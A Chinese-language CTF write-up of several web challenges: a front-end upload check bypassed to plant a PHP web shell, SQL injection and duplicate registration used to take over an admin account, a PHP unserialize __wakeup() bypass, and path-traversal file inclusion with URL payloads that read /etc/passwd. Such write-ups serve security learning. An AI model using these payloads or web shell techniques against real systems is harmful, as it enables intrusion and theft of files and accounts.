使用NoScript无效后,索性抓包并主动响应该请求,修改响应包的js源码,直接将校验函数return true:

1602930629651.png

再次上传shell.php,即可成功上传

1602930706543.png

蚁剑连接,在web根目录发现flag.php,得到flag

1602930765924.png

当然还可以通过修改后缀的方式来绕过前端校验。

⭐ ics-04(SQL注入+注册覆盖)

题目描述,在系统地登录和注册处存在安全漏洞,立马想到可能是SQL注入。

系统有注册、登录和找回密码三处功能,注册了几个账户,登陆后体术普通用户登陆无效,看来需要管理员账户或权限

1604221348795.png

尝试在注册处抓包,通过user level修改权限进行越权,但是没有发现相关参数。

接着在找回密码处发现了SQL注入,直接丢SQLmap跑出了user表的内容,得到一个默认账户,猜测是管理员账户

1604221498269(1).png

密码MD5直接跑出来了😂应该是做了这个题后添加了这条记录吧

1604221772450.png

登录该账户,即可得到flag。

但是这道题应该不是仅仅利用一个SQL注入的,原意是密码无法解开吧,所以在SQL注入得到管理员用户名后,需要利用重复注册漏洞来覆盖管理员密码

1604222001521.png

用设定的新密码登录,即可得到flag

⭐ unserialize3(php反序列化__wakeup()绕过)

题目是一段php代码,是反序列化题目,需要将序列化结果通过code传递。

1602406299342.png

源码保存到本地,添加序列化代码进行审计和输出测试,需要补全大括号

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php 

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}

$s = new xctf;
echo(serialize($s));

?>

首先发现,代码中存在__wakeup()魔术方法,该魔术方法在反序列化操作执行前调用,用于初始化操作,如获取必要资源等。

但是本题中__wakeup()内容是结束程序,因此很明显本题是要利用__wakeup()魔术方法的失效漏洞,即在反序列化时,当对象属性个数大于真实个数,就会绕过该魔术方法直接执行反序列化操作。

执行该代码,得到以下序列化结果:

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

将属性数量改为大于当前数量的值,比如2,然后发包,即可得到flag

1602405430595.png

⭐ warmup(文件包含)

https://www.yyxzz.net/articles/169.html

题目出自2018 HCTF,打开链接(滑稽.jpg)🧐
1602763719432.png

将图片保存到本地没有发现线索,查看网页源码,发现了提示:
1602763786996.png

存在source.php,于是地址后边跟source.php,成功输出源码
1602763852951.png

保存至本地,进行代码审计

但是审计时发现,诶,怎么有点熟悉,好像之前复现了一个phpmyadmin任意文件包含的漏洞,跟这个题目的源码逻辑一模一样,太棒了!

具体的审计过程可以参考之前的phpmyadmin漏洞复现,原理一模一样!

这里大致说一下漏洞:

  • 程序设定文件白名单,并利用?分割后的第一个数据来做白名单校验,还加入了urldecode,因此可以二次传递进行目录穿越,达到任意文件读取。

OK回到题目,经过对source.php审计发现,还有一个hint.php,因为是白名单内所以正常包含该文件,得到以下关于flag的线索:存在于 ffffllllaaaagggg 文件内
1602764402114.png

在当前目录包含失败后,考虑可能存在于根目录,于是不断尝试利用passwd文件找到根目录

payload:

1
http://220.249.52.133:54486?file=hint.php?/../../../../etc/passwd

1602764669041.png

根目录包含flag文件,得到flag

payload:

1
http://220.249.52.133:54486?file=hint.php?/../../../../ffffllllaaaagggg

1602764846675.png